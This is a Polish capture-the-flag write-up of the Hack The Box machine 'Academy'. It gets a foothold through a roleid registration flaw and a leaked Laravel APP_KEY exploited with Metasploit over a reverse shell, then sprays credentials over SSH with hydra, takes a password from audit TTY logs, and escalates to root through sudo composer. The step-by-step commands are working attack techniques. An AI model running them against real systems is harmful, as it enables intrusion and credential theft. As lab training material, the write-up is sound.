[HTB] Academy

Rekonesans & punkt zaczepienia

Swoje działania tradycyjnie rozpocząłem od przeskanowania zdalnej maszyny w poszukiwaniu otwartych portów:

sudo nmap -sV -n -Pn -v 10.10.10.215
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Na maszynie działa serwer webowy (Apache) na porcie 80 oraz uruchomiona jest usługa ssh.

Po wpisaniu adresu IP w przeglądarce następuje przekierowanie na stronę http://academy.htb. Aby załadować stronę należy dodać wpis w pliku konfiguracyjnym /etc/hosts:

10.10.10.215    academy.htb
Strona startowa HTB ACADEMY

Na stronie mamy możliwość zalogowania lub rejestracji.

Sprawdziłem dostępność ścieżek na serwerze:

gobuster dir -u http://academy.htb -w /usr/share/wordlists/dirb/common.txt -s 200,301,302
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://academy.htb
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,301,302
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/02/09 13:01:29 Starting gobuster
===============================================================
/admin.php (Status: 200)
/images (Status: 301)
/index.php (Status: 200)
===============================================================
2021/02/09 13:02:00 Finished
===============================================================

W ten sposób znaleziono panel logowania dla administratorów. Na razie bezużyteczny, ponieważ nie mamy konta o takich uprawnieniach.

Przyjrzymjmy się jednak głębiej procesowi rejestracji. W tym celu użyłem narzędzia BurpSuite do analizy zapytań wysyłanych do serwera. Przechwyciłem zapytanie podczas zakładania konta:

Ciekawe jest to, że w zapytaniu przekazywany jest parametr roleid. Nadałem mu wartość “1”, następnie zalogowałem się w panelu dla administratorów świeżo utworzonym kontem:

Panel administratora po zalogowaniu

Po zalogowaniu możemy zapisać potencjalnych użytkowników (cry0l1t3 oraz mrb3n). Będzie to przydatne w dalszej fazie enumeracji. Ponadto wyczytać można, że istnieje nowa poddomena: dev-staging-01.academy.htb. Dodałem poddomenę w pliku /etc/hosts i przeszedłem nią:

dev-staging-01.academy.htb

Na stronie możemy dowiedzieć wielu ciekawych informacji odnośnie środowiska na którym działa Academia.

Nie myśląc długo skorzystałem z Metasploita i sprawdziłem czy posiada w swojej bazie dostępne exploity na framework Laravel:

msf6 > search laravel

exploit/unix/http/laravel_token_unserialize_exec  2018-08-07
PHP Laravel Framework token Unserialize Remote Command Execution 
Description:
This module exploits a vulnerability in the PHP Laravel Framework for versions 5.5.40, 5.6.x <= 5.6.29. Remote Command Execution is possible via a correctly formatted HTTP X-XSRF-TOKEN header, due to an insecure unserialize call of the decrypt method in Illuminate/Encryption/Encrypter.php. Authentication is not required, however exploitation requires knowledge of the Laravel APP_KEY. Similar vulnerabilities appear to exist within Laravel cookie tokens based on the code fix. In some cases the APP_KEY is leaked which allows for discovery and exploitation.

Dostępny jest exploit, który umożliwia wykonanie zdalnego kodu wykorzystując niebezpeczeństwo desarializacji metody Encrypter.php. Proces eksploitacji wymaga podania APP_KEY, który de facto już posiadam (ujawniony na stronie dev-staging-01.academy.htb).

Dostępne opcje exploita:

msf6 exploit(unix/http/laravel_token_unserialize_exec) > options
 Module options (exploit/unix/http/laravel_token_unserialize_exec):
 Name       Current Setting  Required  Description
 ----       ---------------  --------  -----------
 APP_KEY                       no        The base64 encoded APP_KEY string from the .env file
 Proxies                       no        A proxy chain of format type:host:port[,type:host:port][…]
 RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
 RPORT        80               yes       The target port (TCP)
 SSL          false            no        Negotiate SSL/TLS for outgoing connections
 TARGETURI    /                yes       Path to target webapp
 VHOST                         no        HTTP server virtual host

 Payload options (cmd/unix/reverse_perl):
 Name   Current Setting  Required  Description
 ----   ---------------  --------  -----------
 LHOST                     yes       The listen address (an interface may be specified)
 LPORT    4444             yes       The listen port

 Exploit target:
 Id  Name
 --  ----
 0   Automatic

Konfiguracja exploita:

msf6 exploit(unix/http/laravel_token_unserialize_exec) > set rhosts 10.10.10.215
rhosts => 10.10.10.215
msf6 exploit(unix/http/laravel_token_unserialize_exec) > set vhost dev-staging-01.academy.htb
vhost => dev-staging-01.academy.htb
msf6 exploit(unix/http/laravel_token_unserialize_exec) > set app_key dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
app_key => dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
msf6 exploit(unix/http/laravel_token_unserialize_exec) > set lhost 10.10.14.5
lhost => 10.10.14.5
msf6 exploit(unix/http/laravel_token_unserialize_exec) > exploit 
[] Started reverse TCP handler on 10.10.14.5:4444  
[] Command shell session 1 opened (10.10.14.5:4444 -> 10.10.10.215:46488) at 2021-02-12 12:56:28 +0100

id;whoami
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data

W taki oto sposób uzyskałem dostęp do maszyny jako www-data.

Podniesienie uprawnień (user1)

Eskalację uprawnień rozpocząłem od pozyskania podstawowych informacji o środowisku:

lsb_release -a
 Distributor ID:    Ubuntu
 Description:    Ubuntu 20.04.1 LTS
 Release:    20.04
 Codename:    focal
netstat -tulnp
 Active Internet connections (only servers)
 Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
 tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
 tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
 tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
 tcp6       0      0 :::33060                :::*                    LISTEN      -                   
 tcp6       0      0 :::80                   :::*                    LISTEN      -                   
 tcp6       0      0 :::22                   :::*                    LISTEN      -                   
 udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
pwd
 /var/www/html/htb-academy-dev-01/public
/bin/sh -i

Wersja systemu na atakowanej maszynie to Ubuntu 20.04.1 LTS. Aktywne połączenia na portach: 3306 (mysql), 53 (dns), 22 (ssh). Ścieżka: /var/www/html/htb-academy-dev-01/public. Nastąpiła również próba spawningu powłoki (shell).

Po kilku minutach ekslporacji natrafiłem na ukryty plik:

pwd
 /var/www/html/academy
ls -la
 total 280
 drwxr-xr-x 12 www-data www-data   4096 Aug 13  2020 .
 drwxr-xr-x  4 root     root       4096 Aug 13  2020 ..
 -rw-r--r--  1 www-data www-data    706 Aug 13  2020 .env
 -rw-r--r--  1 www-data www-data    651 Feb  7  2018 .env.example
 -rw-r--r--  1 www-data www-data    111 Feb  7  2018 .gitattributes
 -rw-r--r--  1 www-data www-data    155 Feb  7  2018 .gitignore
 drwxr-xr-x  6 www-data www-data   4096 Feb  7  2018 app
 -rwxr-xr-x  1 www-data www-data   1686 Feb  7  2018 artisan
 drwxr-xr-x  3 www-data www-data   4096 Feb  7  2018 bootstrap
 -rw-r--r--  1 www-data www-data   1512 Feb  7  2018 composer.json
 -rw-r--r--  1 www-data www-data 191621 Aug  9  2020 composer.lock
 drwxr-xr-x  2 www-data www-data   4096 Feb  7  2018 config
 drwxr-xr-x  5 www-data www-data   4096 Feb  7  2018 database
 -rw-r--r--  1 www-data www-data   1150 Feb  7  2018 package.json
 -rw-r--r--  1 www-data www-data   1040 Feb  7  2018 phpunit.xml
 drwxr-xr-x  4 www-data www-data   4096 Nov  9 10:13 public
 -rw-r--r--  1 www-data www-data   3622 Feb  7  2018 readme.md
 drwxr-xr-x  5 www-data www-data   4096 Feb  7  2018 resources
 drwxr-xr-x  2 www-data www-data   4096 Feb  7  2018 routes
 -rw-r--r--  1 www-data www-data    563 Feb  7  2018 server.php
 drwxr-xr-x  5 www-data www-data   4096 Feb  7  2018 storage
 drwxr-xr-x  4 www-data www-data   4096 Feb  7  2018 tests
 drwxr-xr-x 38 www-data www-data   4096 Aug  9  2020 vendor
 -rw-r--r--  1 www-data www-data    549 Feb  7  2018 webpack.mix.js
cat .env
 APP_NAME=Laravel
 APP_ENV=local
 APP_KEY=base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
 APP_DEBUG=false
 APP_URL=http://localhost
 LOG_CHANNEL=stack
 DB_CONNECTION=mysql
 DB_HOST=127.0.0.1
 DB_PORT=3306
 DB_DATABASE=academy
 DB_USERNAME=dev
 DB_PASSWORD=mySup3rP4s5w0rd!!
 BROADCAST_DRIVER=log
 CACHE_DRIVER=file
 SESSION_DRIVER=file
 SESSION_LIFETIME=120
 QUEUE_DRIVER=sync
 REDIS_HOST=127.0.0.1
 REDIS_PASSWORD=null
 REDIS_PORT=6379
 MAIL_DRIVER=smtp
 MAIL_HOST=smtp.mailtrap.io
 MAIL_PORT=2525
 MAIL_USERNAME=null
 MAIL_PASSWORD=null
 MAIL_ENCRYPTION=null
 PUSHER_APP_ID=
 PUSHER_APP_KEY=
 PUSHER_APP_SECRET=
 PUSHER_APP_CLUSTER=mt1
 MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
 MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"

Przeprowadziłem atak słownikowy na usługę ssh. Wylistowałem dostępnych użytkowników:

ls /home
 21y4d
 ch4p
 cry0l1t3
 egre55
 g0blin
 mrb3n

I wykorzystałem narzędzie hydra:

hydra -L usernames -p 'mySup3rP4s5w0rd!!' ssh://10.10.10.215 -f -V
[DATA] attacking ssh://10.10.10.215:22/
 [ATTEMPT] target 10.10.10.215 - login "21y4d" - pass "mySup3rP4s5w0rd!!" - 1 of 6 child 0
 [ATTEMPT] target 10.10.10.215 - login "ch4p" - pass "mySup3rP4s5w0rd!!" - 2 of 6 child 1
 [ATTEMPT] target 10.10.10.215 - login "cry0l1t3" - pass "mySup3rP4s5w0rd!!" - 3 of 6 child 2
 [ATTEMPT] target 10.10.10.215 - login "egre55" - pass "mySup3rP4s5w0rd!!" - 4 of 6 child 3
 [ATTEMPT] target 10.10.10.215 - login "g0blin" - pass "mySup3rP4s5w0rd!!" - 5 of 6 child 4
 [ATTEMPT] target 10.10.10.215 - login "mrb3n" - pass "mySup3rP4s5w0rd!!" - 6 of 6 child 5
 [22][ssh] host: 10.10.10.215   login: cry0l1t3   password: mySup3rP4s5w0rd!!
[STATUS] attack finished for 10.10.10.215 (valid pair found)
 1 of 1 target successfully completed, 1 valid password found

Zalogowałem się wykorzystując usługę ssh i odczytałem pierwszą flagę.

ssh cry0l1t3@10.10.10.215
$ /bin/bash -i
cry0l1t3@academy:~$ id; whoami; ifconfig
 uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),4(adm)
 cry0l1t3
 ens160: flags=4163  mtu 1500
         inet 10.10.10.215  netmask 255.255.255.0  broadcast 10.10.10.255
         inet6 fe80::250:56ff:feb9:f262  prefixlen 64  scopeid 0x20
         inet6 dead:beef::250:56ff:feb9:f262  prefixlen 64  scopeid 0x0
         ether 00:50:56:b9:f2:62  txqueuelen 1000  (Ethernet)
         RX packets 5946  bytes 401931 (401.9 KB)
         RX errors 0  dropped 0  overruns 0  frame 0
         TX packets 412  bytes 364023 (364.0 KB)
         TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 lo: flags=73  mtu 65536
         inet 127.0.0.1  netmask 255.0.0.0
         inet6 ::1  prefixlen 128  scopeid 0x10
         loop  txqueuelen 1000  (Local Loopback)
         RX packets 11800  bytes 838312 (838.3 KB)
         RX errors 0  dropped 0  overruns 0  frame 0
         TX packets 11800  bytes 838312 (838.3 KB)
         TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
cry0l1t3@academy:~$ ls
 user.txt

Podniesienie uprawnień (user2)

cry0l1t3@academy:~$ sudo -l
[sudo] password for cry0l1t3: 
 Sorry, user cry0l1t3 may not run sudo on academy.

Okazało się, że użytkownik cry0l1t3 nie może wykonywać żadnych komend z uprawnieniami sudo.

Jednakże wynik wcześniejszej komendy (id) wykazał że user cry0l1t3 należy do grupy adm. Oznacza to, że user cry0lit3 może przeglądać logi systemowe (/var/log):

cry0l1t3@academy:/var/log$ ls 
 alternatives.log       dmesg.4.gz     syslog.5.gz
 alternatives.log.1     dpkg.log       syslog.6.gz
 alternatives.log.2.gz  dpkg.log.1     syslog.7.gz
 alternatives.log.3.gz  dpkg.log.2.gz  ubuntu-advantage.log
 apache2                dpkg.log.3.gz  unattended-upgrades
 apt                    dpkg.log.4.gz  vmware-network.1.log
 audit                  faillog        vmware-network.2.log
 auth.log               installer      vmware-network.3.log
 auth.log.1             journal        vmware-network.4.log
 auth.log.2.gz          kern.log       vmware-network.5.log
 auth.log.3.gz          kern.log.1     vmware-network.6.log
 auth.log.4.gz          kern.log.2.gz  vmware-network.7.log
 bootstrap.log          kern.log.3.gz  vmware-network.8.log
 btmp                   kern.log.4.gz  vmware-network.9.log
 btmp.1                 landscape      vmware-network.log
 cloud-init.log         lastlog        vmware-vmsvc-root.1.log
 cloud-init-output.log  mysql          vmware-vmsvc-root.2.log
 dist-upgrade           private        vmware-vmsvc-root.3.log
 dmesg                  syslog         vmware-vmsvc-root.log
 dmesg.0                syslog.1       vmware-vmtoolsd-root.log
 dmesg.1.gz             syslog.2.gz    wtmp
 dmesg.2.gz             syslog.3.gz
 dmesg.3.gz             syslog.4.gz

Swoje poszukiwania zawęziłem do logów związanych z audytem. Do przeglądania logów użyłem narzędzia aureport:

NAME
        aureport - a tool that produces summary reports of audit daemon logs
cry0l1t3@academy:/var/log/audit$ aureport --help
 usage: aureport [options]

     --tty               Report about tty keystrokes

Wyświetliłem raport odnośnie TTY:

cry0l1t3@academy:/var/log/audit$ aureport --tty
TTY Report
# date time event auid term sess comm data
Error opening config file (Permission denied)
NOTE - using built-in logs: /var/log/audit/audit.log
08/12/2020 02:28:10 83 0 ? 1 sh "su mrb3n",
08/12/2020 02:28:13 84 0 ? 1 su "mrb3n_Ac@d3my!",
08/12/2020 02:28:24 89 0 ? 1 sh "whoami",
08/12/2020 02:28:28 90 0 ? 1 sh "exit",
08/12/2020 02:28:37 93 0 ? 1 sh "/bin/bash -i", 

Okazało się że użytkownik mrb3n uwierzytelnił się hasłem mrb3n_Ac@d3my!. Przelogowałem się zatem na nowego użytkownika:

cry0l1t3@academy:/var/log/audit$ su mrb3n
Password: 
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
mrb3n@academy:/var/log/audit$ id
uid=1001(mrb3n) gid=1001(mrb3n) groups=1001(mrb3n)

Podniesienie uprawnień (root)

mrb3n@academy:/var/log/audit$ sudo -l
[sudo] password for mrb3n: 
Matching Defaults entries for mrb3n on academy:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mrb3n may run the following commands on academy:
    (ALL) /usr/bin/composer

Okazało się że można wykonywać polecenie komposer z uprawnieniami sudo. Composer jest to narzędzie, które między innymi pozwala na wykonywanie komend systemowych używając opcji skryptowych. Przy ekslacji wykorzystałem wpis w gtfobins:

Wykonując powyższe komendy, stworzyłem skrypt composer.json, który spawnuje powłokę shell. Następnie uruchomiłem go używając narzędzia composer z opcją sudo:

mrb3n@academy:/var/log/audit$ TF=$(mktemp -d)
mrb3n@academy:/var/log/audit$ echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
mrb3n@academy:/var/log/audit$ sudo composer --working-dir=$TF run-script x
[sudo] password for mrb3n: 
PHP Warning:  PHP Startup: Unable to load dynamic library 'mysqli.so' (tried: /usr/lib/php/20190902/mysqli.so (/usr/lib/php/20190902/mysqli.so: undefined symbol: mysqlnd_global_stats), /usr/lib/php/20190902/mysqli.so.so (/usr/lib/php/20190902/mysqli.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
PHP Warning:  PHP Startup: Unable to load dynamic library 'pdo_mysql.so' (tried: /usr/lib/php/20190902/pdo_mysql.so (/usr/lib/php/20190902/pdo_mysql.so: undefined symbol: mysqlnd_allocator), /usr/lib/php/20190902/pdo_mysql.so.so (/usr/lib/php/20190902/pdo_mysql.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
Do not run Composer as root/super user! See https://getcomposer.org/root for details
> /bin/sh -i 0<&3 1>&3 2>&3
# id
uid=0(root) gid=0(root) groups=0(root)